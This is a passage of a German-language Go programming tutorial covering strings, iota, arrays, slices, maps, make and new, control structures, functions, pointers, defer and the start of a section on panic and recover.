Es ist unmöglich, die Zeichen eines Strings anhand ihres Index zu verändern. Du wirst eine Fehlermeldung erhalten, solltest Du dies ausprobieren.

var s string = "Hallo"
s[0] = 'c'

Aber was ist, wenn ich wirklich nur ein Zeichen in einem String ändern möchte? Probieren wir es mit mit diesem Codebeispiel.

s := "hello"
c := []byte(s)  // Konvertiere den String zum Typ []byte
c[0] = 'c'
s2 := string(c)  // Wandle den Wert in eine String zurück
fmt.Printf("%s\n", s2)

Nutze den + Operator, um zwei Strings zu verknüpfen.

s := "Hallo"
m := " Welt"
a := s + m
fmt.Printf("%s\n", a)

oder auch

s := "Hallo"
s = "c" + s[1:] // Du kannst die Werte mit Hilfe des Index nicht verändern, aber sie abfragen
fmt.Printf("%s\n", s)

Was ist, wenn ein String über mehrere Zeilen verlaufen soll?

m := `Hallo
Welt`

\`` wird die Zeichen in einem String escapen (d.h. mit` dessen Ausführung verhindern).





10.8.4 Fehlermeldungen

Go besitzt mit error einen eigenen Datentyp, um mit Fehlermeldungen umzugehen. Zudem gibt es auch ein Paket mit dem Namen errors, um weitere Möglichkeiten bereitzustellen, Fehlermeldungen zu verarbeiten.

err := errors.New("emit macho dwarf: elf header corrupted")
if err != nil {
    fmt.Print(err)
}





10.8.5 Grundeliegende Datenstrukturen

Die folgende Grafik enstammt dem Artikel Datenstrukturen in Go (auf englisch) aus Russ Coxs Blog. Wie Du sehen kannst, nutzt Go Abschnitte des Arbeitsspeichers, um Daten zu speichern.

[image: ]

Abbildung 2.1 Gos grundlegende Datenstrukturen





10.9 Einige Fähigkeiten





10.9.1 Gruppierte Definition

Wenn Du mehrere Konstanten und Variablen deklarieren oder Pakete importieren möchtest, kannst Du dies auch gruppiert durchführen.

Übliche Vorgehensweise.

import "fmt"
import "os"

const i = 100
const pi = 3.1415
const prefix = "Go_"

var i int
var pi float32
var prefix string

Gruppierter Ansatz.

import(
    "fmt"
    "os"
)

const(
    i = 100
    pi = 3.1415
    prefix = "Go_"
)

var(
    i int
    pi float32
    prefix string
)

Wird innerhalb von constant() einer Konstanten das Schlüsselwort iota als Wert zugewiesen, hat sie den Wert 0. Werden den folgenden Konstanten keine expliziten Werte zugewiesen, wird der letzte zugeweise Wert von iota um 1 erhöht und der folgenden Konstante zugewiesen. Dieses Verhalten beleuchten wir im folgenden Absatz.





10.9.2 Aufzählen mit iota

Go besitzt das Schlüselwort iota, um eine Aufzählung zu starten. Der Startwert ist 0 und wird jeweils um 1 erhöht.

const(
    x = iota  // x == 0
    y = iota  // y == 1
    z = iota  // z == 2
    w  // Folgt dem Namen der Konstante keine Deklaration, so wird die zuletzt erfolgte verwendet. w = iota wird somit implizit auf iota gesetzt. Daher gilt w == 3. Folglich kannst Du  bei x und y "= iota" einfach auslassen.
)

const v = iota // Sobald iota erneut auf `const` trifft, wird erneut mit `0` gestartet, also gilt v = 0.

const (
  e, f, g = iota, iota, iota // e, f und g haben den selben Wert 0, da sie in der selben Zeile stehen.
)





10.9.3 Einige Regeln

Der Grund, warum Go so prägnant ist, liegt im vorhersehbaren Verhalten der Programmiersprache.


	Jede Variable, die mit einem großgeschriebenen Buchstaben anfängt, kann exportiert werden. Andernfalls ist sie privat.

	Die selbe Regel gilt auch für Funktionen und Konstanten. Schlüsselwörter wie public oder private existieren in Go nicht.







10.10 Array, Slice, Map





10.10.1 Array

Ein array ist eine Aneinanderreihung von Daten, die wie folgt definiert wird:

var arr [n]Datentyp

wobei in [n]Datentyp das n die Länge des Arrays angibt. Datentyp ist selbsterklärend der Datentyp der Elemente (bzw. der aneinandergereihten Daten). Wie in anderen Programmiersprachen nutzen wir [], um Daten im Array zu speichern oder um sie auszulesen.

var arr [10]int  // Ein Array vom Typ [10]int
arr[0] = 42      // Der erste Index des Arrays ist 0
arr[1] = 13      // Einem Element wird ein Wert zugewiesen
fmt.Printf("Das erste Element ist %d\n", arr[0])   // Beim Auslesen des Wertes wird 42 zurückgegeben
fmt.Printf("Das letzte Element ist %d\n", arr[9]) // Es gibt den Standardwert des 10. Elements zurück, was in diesem Fall 0 ist.

Da die Länge ein Teil des Array-Typs ist, sind [3]int und [4]int verschieden, sodass wir die Länge eines Arrays nicht ändern können. Nutzt Du Arrays als Argument in einer Funktion, dann wird eine Kopie des Arrays übergeben, statt einem Zeiger (bzw. ein Verweis) auf das Original. Möchtest Du stattdessen den Zeiger übergeben, dann musst Du einen slice verwenden. Darauf gehen wir aber später nochmals ein.

Es ist möglich, := zu nutzen, um ein Array zu deklarieren.

a := [3]int{1, 2, 3} // Deklariere ein Array vom Typ int mit drei Elementen
b := [10]int{1, 2, 3} // Deklariere ein int-Array mit zehn Elementen, bei dem die ersten Drei einen Wert zugewiesen bekommen. Der Rest erhält den Standardwert 0.
c := [...]int{4, 5, 6} // Nutze `…` statt der Längenangabe. Go wird die Länge dann selbst bestimmen.

Vielleicht möchtest Du auch Arrays als Element in einem Array nutzen. Schauen wir mal, wie das geht.

// Deklariere ein zweidimensionales Array mit zwei Elementen, welche jeweils vier Elemente besitzen.
doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}}


// Die Dekleration kann auch ein wenig kompakter geschrieben werden.

{% raw %} easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}} {% endraw %}

Arrays sind grundlegende Datenstrukturen in Go.
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Abbildung 2.2 Die Zuordnung in einem mehrdimensionalen Array





10.10.2 Slice

In vielen Situationen ist ein Array als Datentyp keine gute Wahl, wenn wir während der Deklaration dessen Länge noch nicht wissen. Daher brauchen wir so etwas wie ein “dynamisches Array” mit einer variabler Länge. Diese werden in Go slice genannt.

slice ist nicht wirklich ein dynamisches Array. Es ist vielmehr ein Zeiger auf ein darunterliegendes array mit einer ähnlichen Deklaration, dass aber keine Länge benötigt.

// Man deklariert ein Slice wie ein Array, lässt jedoch die Länge weg.
var fslice []int

Nun deklarieren wir ein slice und vergeben Startwerte.

slice := []byte {'a', 'b', 'c', 'd'}

slice kann existierende Slices oder Arrays verändern. slice nutzt array[i:j] zum “Herrausschneiden” von Elementen. i gibt den Index des Startpunkts an und kopiert alle Elemente bis zum Index j. Beachte, dass array[j] nicht in dem Ausschnitt enthalten ist, da das Slice eine Länge von j-i hat.

// Deklariere ein Array mit der Länge 10 von vom Typ byte
var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}

// Erstelle zwei Slices vom Typ []byte
var a, b []byte

// 'a' verweist auf die Elemente zwischen Index 3 und 5 im Array ar.
a = ar[2:5]
// 'a' besitzt nun die Elemente ar[2],ar[3] und ar[4]

// 'b' ist ein weiterer Ausschnitt (Slice) vom Array ar
b = ar[3:5]
// 'b' besitzt nun die Elemente ar[3] und ar[4]

Beachte die Unterscheide bei der Deklaration von slice und array. Wir nutzen […], um Go die Länge automatisch herausfinden zu lassen, aber nutzen [] lediglich zur Deklaration von Slices.

Ihre zugrundeliegenden Datentypen.
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Abbildung 2.3 Der Zusammenhang zwischen Slices und Arrays

Slices haben bestimmte Anwendungsgebiete.


	Ein slice beginnt mit dem Index 0, ar[:n] gleicht ar[0:n].

	Der zweite Index gibt die Länge vom Slice an, wenn er ausgelassen wird. ar[n:] gleicht ar[n:len(ar)].

	Du kannst auch ar[:] nutzen, um einen gesamtes Array zu kopieren, wie in den ersten beiden Punkten erklärt.



Mehr Beispiele zu slice

// Deklariere ein Array
var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
// Deklariere zwei Slices
var aSlice, bSlice []byte

// Einige gewöhnliche Anwendungsfälle
aSlice = array[:3] // ist das Gleiche wie aSlice = array[0:3]. aSlice hat die Elemente a,b,c
aSlice = array[5:] // ist das Gleiche wie aSlice = array[5:10]. aSlice hat die Elemente f,g,h,i,j
aSlice = array[:]  // ist das Gleiche wie aSlice = array[0:10]. aSlice beinhaltet alle Elemente

// Ein Slice vom Slice
aSlice = array[3:7]  // aSlice hat die Elemente d,e,f,g，Anfang=4，Kapazität=7
bSlice = aSlice[1:3] // bSlice beinhaltet aSlice[1], aSlice[2], also hat es die Elemente e,f
bSlice = aSlice[:3]  // bSlice beinhaltet aSlice[0], aSlice[1], aSlice[2], also hat es die Elemente d,e,f
bSlice = aSlice[0:5] // Der Slice ist nun länger, sodass bSlice d,e,f,g,h beinhaltet
bSlice = aSlice[:]   // bSlice hat nun die gleiche Elemente wie aSlice, also d,e,f,g

slice ist ein Datentyp mit einem Zeiger, sodass Änderungen am Slice auch andere Variablen verändern, die wiederum selbt auf den Slice verweisen. Wie im oberigen Fall von aSlice und bSlice: veränderst Du den Wert eines Elements in aSlice, wird sich dieser auch im bSlice ändern.

slice ist ähnlich wie ein Struct und besteht aus drei Komponenten:


	Ein Zeiger, der auf den Beginn des slice bzw. zugrundeliegenden Array verweist.

	Die Länge definiert den Ausschnitt des zugrundeliegenden Arrays.

	Kapazität definiert die max. Größe des zugrundeliegenden Arrays.

Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
Slice_a := Array_a[2:5]




Die zugrundeliegenden Datenstrukturen vom vorherigen Code sehen wie folgt aus:
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Abbildung 2.4 Arrayelemente eines Slice

Es existieren eingebaute Funktionen, um mit Slices zu arbeiten.


	len gibt die Länge eines slice bzw. Ausschnitts zurück.

	cap gibt die max. Länge (Kapazität) eines slice zurück.

	append erweitert den slice um ein oder mehrere Elemente, und gibt einen slice zurück.

	copy erstellt eine Kopie eines Slices, und gibt die Anzahl der kopierten Elemente zurück.



Achtung: append wird das Array, aus das slice verweist verändern, sowie andere Slices, die auf das selbe Array verweisen. Sollte de Kapazität des zugrundeliegenden Arrays nicht ausreichen ((cap-len) == 0), dann gibt append ein neues Array zurück. Dies hat aber keine Auswirkungen auf andere Slices, die auf das alte Array verwiesen.





10.10.3 Map

map verhält sich wie ein Dictionary in Python. Nutze das Schema map[SchlüsselTyp]WerteTyp, um es zu deklarieren.

Schauen wir uns ein wenig Code an. Die ‘set’- und ‘get’-Werte in map sind der von slice sehr ähnlich. In einem Slice kann der Datentyp des Index nur ein int sein. In einer map kann es sich jedoch um einen int, string oder um jeden anderen Datentyp handeln. Du kannst auch == und != verwenden, um Werte mit einander zu vergleichen.

// Nutze 'string' als Datentyp für den Schlüssel, 'int' als Datentyp für den Wert und `make` zum Erstellen.
var numbers map[string] int
// Ein alternativer Weg zum Deklarieren
nummern := make(map[string]int)
nummern["eins"] = 1  // Weise ein Wert durch einen Schlüssel zu
nummern["zehn"] = 10
nummern["drei"] = 3

fmt.Println("Die dritte Nummer lautet: ", nummern["drei"]) // Lese den Wert aus
// Ausgabe: Die dritte Nummer lautet: 3

Einige Anmerkungen zur Nutzung von maps.


	map ist ungeordnet. Jedesmal, wenn Du eine map ausgeben willst, erhälst Du ein anderes Ergebnis. Dadurch ist es unmöglich, Werte über den index abzufragen. Nutze dafür den entsprechenden Schlüssel.

	map hat keine feste Länge. Dieser Datentyp ist wie slice lediglich ein Verweis.

	len funktioniert bei map auch. Es werden die Anzahl der Schlüssel zurückgegeben.

	Es ist ziemlich einfach, der Wert in einer map zu ändern. Nutze nummern["eins"]=11, um den Schlüssel one den Wert 11 zuzuweisen.



Du kannst das Schema Schlüssel:Wert nutzen, um eine map mit Startwerten zu erstellen. map hat auch eingebaute Funktionen, um die Existenz eines key zu überprüfen.

Benutze delete, um ein Element in map zu löschen.

// Erstelle eine map
bewertung := map[string]float32 {"C":5, "Go":4.5, "Python":4.5, "C++":2 }
// Map hat zwei Rückgabewerte. Der zweite Rückgabewert 'ok' wird, wenn der Schlüssel nicht existiert，aus false gesetzt. Andernfalls wird true zurückgegeben.
csharpBewertung, ok := bewertung["C#"]
if ok {
    fmt.Println("C# ist in der map hat die Bewertung ", csharpBewertung)
} else {
fmt.Println("Es konnte keine Bewertung für C# in der map gefunden werden.")
}

delete(bewertung, "C")  // Lösche das Element mit dem Schlüssel "c"

Wie ich bereits sagte, ist map lediglich ein Verweis. Verweisen zwei maps auf die gleiche, zugrundeliegende Datenstruktur, wird eine Änderung Auswirkungen auf beide maps haben.

m := make(map[string]string)
m["Hallo"] = "Bonjour"
m1 := m
m1["Hallo"] = "Salut"  // Nun ist der Wert von m["hello"] Salut





10.10.4 make, new

make reserviert Speicher für die eingebauten Datentypen, wie map, slice, und channel, wo hingegen new für selbstdefinierte Datentype (durch type definiert) Speicher zuweist.

new(T) ordnet dem Datentyp T Speicherplatz zu und initialisiert diesen mit den Standardwerten des jeweiligen Datentyps (z.B. false für einen bool). Anschließend wird die Adresse des Speicherortes in des Datentyps *T zurückgegeben. Nach der Definition von Go ist dies ein Zeiger, welcher auf die Standardwerte der Initilisierung von T verweist.

new gibt Zeiger als Wert zurück.

Die eingebaute Funktion make(T, args) hat einen anderen Zweck als new(T). make kann für slice, map, und channel genutzt werden und gibt den Datentyp T mit seinem definierten Startwert zurück. Der Grund liegt darin, dass das ein Objekt vom zugrundeliegenden Datentyp erst erstellt wird, bevor auf diesen verwiesen werden kann. Dies ist bei diesen drei Datentypen der Fall. Zum Beispiel beinhaltet slice einen Zeiger, der auf das zugrundeliegende Array, die Länge und die Kapazität verweist. Vor der Initialisierung der Daten beinhaltet slice jedoch nur nil. Daher vergibt make den Datentypen slice, map und channel geeignetere Werte.

make gibt dabei die angesprochenen Standardwerte der entsprechenden Datentypen zurück (z.B. false für einen bool).

Die folgende Grafik verdeutlicht den Unterschied zwischen new und make.
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Abbildung 2.5 Wie make und new Datenstrukturen Speicherplatz zuweisen

Standardwerte besitzen einen Wert. Dies sind die gebräuchlichsten Anwendungsfälle. Hier eine kleine Liste von Standardwerten.

int     0
int8    0
int32   0
int64   0
uint    0x0
rune    0 // rune ist ein Alias für int32
byte    0x0 // byte ist ein Alias für uint8
float32 0 // Die Größe beträgt 4 Byte
float64 0 // Die Größe beträgt 8 Byte
bool    false
string  ""





10.11 Links


	Inhaltsverzeichnis

	Vorheriger Abschnitt: “Hallo Go”

	Nächster Abschnitt: Kontrollstrukturen und Funktionen







11 2.3 Kontrollstrukturen und Funktionen

In diesem Kapite

werfen wir einen Blick auf Kontrollstrukturen und Funktionen in Go.





11.1 Kontrollstrukturen

Die beste Erfindung in der Programmierung ist die Möglichkeit, den Ablauf einen Programms dynamisch verändern zu können. Um dies zu ermöglichen, kannst Du Kontrollstrukturen verwenden, um komplexe, logische Verknüpfungen darzustellen. Es gibt drei Arten, den Programmablauf zu ändern: Bedingungen, Schleifen, die eine Aufgabe mehrmals durchführen können und Sprungmarken.





11.1.1 if

if ist das am weitverbreiteste Schlüsselwort in Deinen Programmen. Sollte eine Bedingung erfüllt sein, wird das Programm eine bestimmte Aufgabe ausführen. Wird die Bedingung nicht erfüllt, dann passiert etwas Anderes.

In Go braucht man keine runden Klammern für eine if-Bedingung nutzen.

if x > 10 {
    fmt.Println("x ist größer als 10")
} else {
    fmt.Println("x ist kleiner gleich 10")
} 

Der nützlichste Aspekt in Bezug auf if ist, dass man vor der Überprüfung der Bedingung noch Startwerte vergeben kann. Die Variablen mit den Startwerten sind aber nur im if-Block selbst abrufbar.

// Gebe x einen Startwert und überprüfe dann, ob x größer als 10 ist 
if x := berechneEinenWert(); x > 10 {
    fmt.Println("x ist größer als 10")
} else {
    fmt.Println("x ist kleiner als 10")
}

// Der folgende Code kann nicht kompiliert werden
fmt.Println(x)

Benutze if-else für mehrere Bedingungen.

if integer == 3 {
    fmt.Println("Der Integer ist gleich 3")
} else if integer < 3 {
    fmt.Println("Der Integer ist kleiner als 3")
} else {
    fmt.Println("Der Integer ist größer als 3")
}





11.1.2 goto

Go umfasst auch das goto Schlüsselwort, aber benutze es weise. goto verändert den Ablauf des Programms, indem es an einer vorher definierten Sprungmarke im selben Codeabschnitt weiterläuft.

func meineFunktion() {
    i := 0
Hier:   // Sprungmarken enden mit einem ":"
    fmt.Println(i)
    i++
    goto Hier   // Springe nun zur Sprungmarke "Hier"
}

Es wird zwischen der Groß- und Kleinschreibung von Sprungmarken unterschieden. Hier ist nicht das Selbe wie hier.





11.1.3 for

for ist die mächtigste Kontrollstruktur in Go. Sie kann Daten lesen und sie in jedem Durchgang verändern, ähnlich wie while.

for Ausdruck1; Ausdruck2; Ausdruck3 {
    //...
}

Ausdruck1, Ausdruck2 und Ausdruck3 sind alle Ausdrücke, aber bei Ausdruck1 und Ausdruck3 handelt es sich aber entweder um eine Deklaration von Variablen oder um Rückgabewerte von Funktionen. Ausdruck2 ist dagegen eine zu erfüllende Bedingung . Ausdruck1 wird nur einmal vor der Ausführung der Schleife verändert, aber Ausdruck3 kann mit jedem Durchlauf verändert werden.

Aber Beispiele sagen mehr als tausend Worte.

package main
import "fmt"

func main(){
    summe := 0;
    for index:=0; index < 10 ; index++ {
        summe += index
    }
    fmt.Println("summe hat den Wert ", summe)
}
// Ausgabe: summe hat den Wert 45

Manchmal müssen wir am Anfang mehrere Deklarationen vornehmen. Da Go für die Trennung der Variablen über kein , verfügt, können die Variablen nicht einzeln deklariert werden. Ein Ausweg bietet die parallele Deklaration: i, j = i + 1, j - 1.

Wenn nötig, können wir Ausdruck1 und Ausdruck3 auch einfach auslassen.

summe := 1
for ; summe < 1000;  {
    summe += summe
}

Auch das ; kann ausgelassen werden. Kommt es Dir bekannt vor? Denn ist das gleiche Verhalten wie bei while.

summe := 1
for summe < 1000 {
    summe += summe
}

Es gibt mit break und continue zwei wichtige Schlüsselwörter bei der Verwendung von Schleifen. break wird zum “Ausbrechen” aus einer Schleife genutzt, während continue zum nächsten Durchlauf springt. Sollten verschachtelte Schleifen genutzt werden, dann kombiniere break mit einer Sprungmarke.

for index := 10; index>0; index-- {
    if index == 5{
        break // oder continue
    }
    fmt.Println(index)
}
// break gibt 10、9、8、7、6 aus
// continue gibt 10、9、8、7、6、4、3、2、1 aus

for kann auch die Elemente aus einem slice oder einer map lesen, wenn dies im Zusammenspiel mit range geschieht.

for k, v := range map {
    fmt.Println("map's Schlüssel:",k)
    fmt.Println("map's Wert:",v)
}

Go unterstützt die Rückgabe mehrerer Werte und gibt eine Fehlermeldung aus, wenn nicht genauso viele Variablen zum Speichern vorhanden sind. Solltest Du einen Wert nicht brauchen, kannst Du ihn mit _ verwerfen.

for _, v := range map{
    fmt.Println("map's Wert:", v)
}





11.1.4 switch

Manchmal findest Du Dich in einer Situation vor, indem viele Bedingungen mit if-else geprüft werden müssen. Der Code kann dann schnell unleserlich und schwer anpassbar werden. Alternativ kannst Du Bedingungen auch mit switch prüfen.

switch Audruck {
case Fall1:
    Eine Aufgabe
case Fall3:
    Eine andere Aufgabe
case Fall3:
    Eine andere Aufgabe
default:
    Anderer Code
}

Der Datentyp von Fall1, Fall2 und Fall3 muss der selbe sein. switch kann sehr flexible eingesetzt werden. Bedingungen müssen keine Konstanten sein und die einzelnen Fälle werden von oben nach unten geprüft, bis eine passender gefunden wurde. Sollte switch kein Ausdruck folgen, dann dann wird von einem bool ausgegangen und es wird der Code im Fall true ausgeführt.

i := 10
switch i {
case 1:
    fmt.Println("i ist gleich 1")
case 2, 3, 4:
    fmt.Println("i ist gleich 2, 3 oder 4")
case 10:
    fmt.Println("i ist gleich 10")
default:
    fmt.Println("ich weiß nur, dass i ein Integer ist")
}

In der fünften Zeile nutzen wir gleich mehrere Fälle auf einmal. Außerdem brauchen wir nicht break am Ende jedes Falls einfügen, wie es in anderen Programmiersprachen üblich ist. Mit dem Schlüsselwort fallthrough kannst Du nach einem Treffer auch alle folgenden Fälle ausführen.

integer := 6
switch integer {
case 4:
    fmt.Println("integer <= 4")
    fallthrough
case 5:
    fmt.Println("integer <= 5")
    fallthrough
case 6:
    fmt.Println("integer <= 6")
    fallthrough
case 7:
    fmt.Println("integer <= 7")
    fallthrough
case 8:
    fmt.Println("integer <= 8")
    fallthrough
default:
    fmt.Println("Standardfall")
}

Das Programm gibt folgende Informationen aus.

integer <= 6
integer <= 7
integer <= 8
Standardfall





11.2 Funktionen

Nutze das Schlüsselwort func, um eine Funktion einzuleiten.

func funcName(eingabe1 typ1, eingabe2 typ2) (ausgabe1 typ1, ausgabe2 typ2) {
    // Körper bzw. Rumpf der Funktion
    // Mehrere Werte werden zurückgegeben
    return wert1, wert2
}

Dem gezeigten Beispiel können wir somit folgende Informationen entnehmen:


	Nutze das Schlüsselwort func, um die Funktion funcName zu erstellen.

	Funktionen können ein, mehrere oder kein Argument übergeben werden. Der Datentyp wird nach dem Argument angegeben und Argumente werden durch ein , getrennt.

	Funktionen können mehrere Werte zurückgeben.

	Es gibt zwei Rückgabewerte mit den Namen ausgabe1 and ausgabe2. Du kannst Ihren Namen auch einfach auslassen und nur den Datentyp im Kopf angeben.

	Wenn es nur einen Rückgabewert gibt, kannst Du die Klammer um den Datentyp im Kopf weglassen.

	Wenn keine Daten zurückgegeben werden, kannst Du return einfach weglassen.

	Um Werte im Körper der Funktion zurückzugeben, musst Du return verwenden.



Gucken wir uns mal ein Beispiel an, in dem wir den Größeren von zwei Werten bestimmen.

package main
import "fmt"

// Gib den größeren Wert von a und b zurück
func max(a, b int) int {
    if a > b {
        return a
    }
    return b
}

func main() {
    x := 3
    y := 4
    z := 5

    max_xy := max(x, y) // ruft die Funktion max(x, y) auf
    max_xz := max(x, z) // ruft die Funktion max(x, z) auf

    fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy)
    fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz)
    fmt.Printf("max(%d, %d) = %d\n", y, z, max(y,z)) // rufe die Funktion hier auf
}

Im oberen Beispiel übergeben wir jeweils zwei Argumente vom Typ int an die Funktion max. Da beide Argumente denn gleichen Datentyp besitzen, reicht es, wenn wir diesen nur einmal angeben. So kannst Du statt a int, b int einfach a, b int schreiben. Dies gilt auch für weitere Argumente. Wie Du sehen kannst, wird nur ein Wert von max zurückgegeben, sodass wir den Namen der Variable weglassen können. Dies wäre einfach die Kurzschreibweise.





11.2.1 Mehrere Rückgabewerte bei Funktionen

Die Möglichkeit, mehrere Werte zurückgeben zu können, ist ein Aspekt, in der Go der Programmiersprache C überlegen ist.

Schauen wir uns das folgende Beispiel an.

package main
import "fmt"

// Gebe die Ergebnisse von A + B und A * B zurück
func SummeUndProdukt(A, B int) (int, int) {
    return A+B, A*B
}

func main() {
    x := 3
    y := 4

    xPLUSy, xMALy := SummeUndProdukt(x, y)

    fmt.Printf("%d + %d = %d\n", x, y, xPLUSy)
    fmt.Printf("%d * %d = %d\n", x, y, xMALy)
}

Das obere Beispiele gibt zwei namenlose Werte zurück. Aber Du kannst sie natürlich auch bennenen, wenn Du magst. Würden wir dies tun, müssten wir mit return nur dessen Namen zurückgeben, da die Variablen in der Funktion bereits automatisch initialisiert wurden. Bedenke, dass Funktionen mit einen großen Buchstaben anfangen müssen, wenn Du sie außerhalb eines Pakets verwenden möchtest. Es wäre auch zu empfehlen, die Rückgabewerte zu bennenen, da dies den Code verständlicher macht.

func SummeUndProdukt(A, B int) (addiert int, multipliziert int) {
    addiert = A+B
    multipliziert = A*B
    return
}





11.2.2 Variablen als Argumente

Go unterstützt auch Variablen als Argumente, was bedeutet, das einer Funktionen auch eine unbekannte Anzahl an Argumenten übergeben werden kann.

func myfunc(arg ...int) {}

arg …int besagt, dass diese Funktionen beliebig viele Argumente entgegennimmt. Beachte, dass alle Argumente vom Typ int sind. Im Funktionskörper wird arg zu einem slice vom Typ int.

for _, n := range arg {
    fmt.Printf("Und die Nummer lautet: %d\n", n)
}





11.2.3 Werte und Zeiger übergeben

Wenn wir ein Argument einer aufgerufenen Funktion übergeben, dann bekommt diese meist eine Kopie des Arguments und kann somit das Original nicht beeinflussen.

Lass mich Dir ein Beispiel zeigen, um es zu beweisen.

package main
import "fmt"

// Simple Funktion, die a um 1 erhöht
func add1(a int) int {
    a = a+1  // Wir verändern den Wert von a 
    return a // Wir geben den Wert von a zurück
}

func main() {
    x := 3

    fmt.Println("x = ", x)  // Sollte "x = 3" ausgeben

    x1 := add1(x)  // Rufe add1(x) auf

    fmt.Println("x+1 = ", x1) // Sollte "x+1 = 4" ausgeben
    fmt.Println("x = ", x)    // Sollte "x = 3" ausgeben
}

Siehst Du es? Selbst wenn wir der Funktion add1 die Variable x als Argument übergeben, um sie um 1 zu erhöhen, so blieb x selbst unverändert

Der Grund dafür ist naheliegend: wenn wir add1 aufrufen, übergeben wir ihr eine Kopie von x, und nicht x selbst.

Nun fragst Du dich bestimmt, wie ich das echte x einer Funktion übergeben kann.

Dafür müssen wir Zeiger verwenden. Wir wissen, das Variablen im Arbeitspeicher hinterlegt sind und sie eine Adresse für den Speicherort besitzen. Um einen Wert zu ändern, müssen wir auch die Adresse des Speicherorts wissen. Daher muss der Funktion add1 diese Adresse von x bekannt sein, um diese ändern zu können. Hier übergeben wir &x der Funktion als Argument und ändern damit den Datentyp des Arguments in *int. Beachte, dass wir eine Kopie des Zeigers übergeben, und nicht des Wertes.

package main
import "fmt"

// Simple Funktion, um a um 1 zu erhöhen
func add1(a *int) int {
    *a = *a+1 // Wir verändern den Wert von a 
    return *a // Wir geben den Wert von a zurück
}

func main() {
    x := 3

    fmt.Println("x = ", x)  // Sollte "x = 3" ausgeben

    x1 := add1(&x)  // Rufe add1(&x) auf und übergebe die Adresse des Speicherortes von x

    fmt.Println("x+1 = ", x1) // Sollte "x+1 = 4" ausgeben
    fmt.Println("x = ", x)    // Sollte "x = 4" ausgeben
}

Nun können wir den Wert von x in der Funktion ändern. Aber warum nutzen wir Zeiger? Was sind die Vorteile?


	Es erlaubt uns, mit mehreren Funktionen eine Variable direkt zu benutzen und zu verändern.

	Es braucht wenig Ressourcen, um die Speicheradresse (8 Bytes) zu übergeben. Kopien sind weniger effizient im Kontext von Zeit und Speichergröße.

	string, slice und map sind Referenztypen, die automatisch die Referenz (bzw. den Zeiger) der Funktion übergeben. (Achtung: Wenn Du die Länge eines slice ändern möchtest, musst Du den Zeiger explizit übergeben).







11.2.4 defer

Go besitzt mit defer ein weiteres nützliches Schlüsselwort. Du kannst defer mehrmals in einer Funktion nutzen. Sie werden in umgekehrter Reihenfolge am Ende einer Funktion ausgeführt. Im Fall, dass Dein Programm eine Datei öffnet, muss diese erst wieder geschlossen werden, bevor Fehler zurückgeben werden können. Schauen wir uns ein paar Beispiele an.

func LesenSchreiben() bool {
    file.Open("Datei")
// Mache etwas
    if FehlerX {
        file.Close()
        return false
    }

    if FehlerY {
        file.Close()
        return false
    }

    file.Close()
    return true
}

Wir haben gesehen, dass hier der selbe Code öfters wiederhohlt wird. defer löst dieses Problem ziemlich elegant. Es hilft Dir nicht nur sauberen Code zu schreiben, sodern fördert auch noch dessen Lesbarkeit.

func LesenSchreiben() bool {
    file.Open("Datei")
    defer file.Close()
    if FehlerX {
        return false
    }
    if FehlerY {
        return false
    }
    return true
}

Wird defer mehr als einmal genutzt, werden sie in umgekehrter Reihenfolge ausgeführt. Das folgende Beispiel wird 4 3 2 1 0 ausgeben.

for i := 0; i < 5; i++ {
    defer fmt.Printf("%d ", i)
}





11.2.5 Funktionen als Werte und Datentypen

Funktionen sind auch Variablen in Go, die wir mit type definieren können. Funktionen mit der selben Signatur, also dem gleichen Aufbau, können als der selbe Datentyp betrachtet werden.

type schreibeName func(eingabe1 eingabeTyp1 , eingabe2 eingabeTyp2 [, ...]) (ergebnis1 ergebnisTyp1 [, ...])

Was ist der Vorteil dieser Fähigkeit? Ganz einfach: wir können somit Funktionen als Werte übergeben.

package main
import "fmt"

type testeInt func(int) bool // Definiere eine Funktion als Datentyp

func istUngerade(integer int) bool {
    if integer%2 == 0 {
        return false
    }
    return true
}

func istGerade(integer int) bool {
    if integer%2 == 0 {
        return true
    }
    return false
}

// Übergebe die Funktion f als Argument an eine Andere Funktion

func filter(slice []int, f testeInt) []int {
    var ergebnis []int
    for _, wert := range slice {
        if f(wert) {
            ergebnis = append(ergebnis, wert)
        }
    }
    return ergebnis
}

func main(){
    slice := []int {1, 2, 3, 4, 5, 7}
    fmt.Println("slice = ", slice)
    ungerade := filter(slice, istUngerade)    // Nutze die Funktion als Wert
    fmt.Println("Die ungeraden Elemente von slice lauten: ", ungerade)
    gerade := filter(slice, istGerade) 
    fmt.Println("Die geraden Elemente von slice lauten: ", gerade)
}

Dies ist sehr nützlich, wenn wir Interfaces nutzen. Wie Du sehen kannst, wird testeInt eine Funktion als Argument übergeben, und die Rückgabewerte besitzen genau den gleichen Datentyp. Somit können wir komplexe Zusammenhänge in unseren Programen flexible warten und erweitern.





11.2.6 Panic und Recover

Go besitzt keine try-catch-Struktur, wie es in Java der Fall ist. Statt eine Exception zu erstellen, nutzt Go panic und recover. Auch wenn panic sehr mächtig ist, solltest Du es nicht all zu oft benutzen.

panic ist eine eingebaute Funktion, um den normalen Ablauf des Programms zu unterbrechen und es in eine Art Panikmodus zu versetzen. Wenn die Funktion F panic aufruft, wird in ihr außer defer nichts weiter ausgeführt. Danach geht das Programm zum Ursprungsort des Fehlers zurück. Dies wird nicht geschlossen, ehe alle Funktionen einer goroutine panic zurückgeben. Einige Fehler erzeugen auch selbst einen Aufruf von panic, z.B. wenn der reservierte Speicherplatz eines Arrays nicht ausreicht.

recover ist ebenfalls eine eingebaute Fuktion, um goroutinen vom Panikmodus zu erlösen. Das Aufrufen von recover im Zusammenspiel mit defer ist sehr nützlich, da normale Funktionen nicht mehr ausgeführt werden, wenn sich das Programm erst einmal im Panikmodus befindet. Die Werte von panic werden so aufgefangen, wenn sich das Programm im Panikmodus befindet. Ansonsten wird nil zurückgegeben.

Das folgende Beispiel soll die Nutzung von panic verdeutlichen.

var benutzer = os.Getenv("BENUTZER")

func init() {
    if benutzer == "" {
        panic("Kein Wert für $BENUTZER gefunden")
    }
}

Das nächste Beispiel zeigt, wie der Status von panic aufgerufen werden kann.

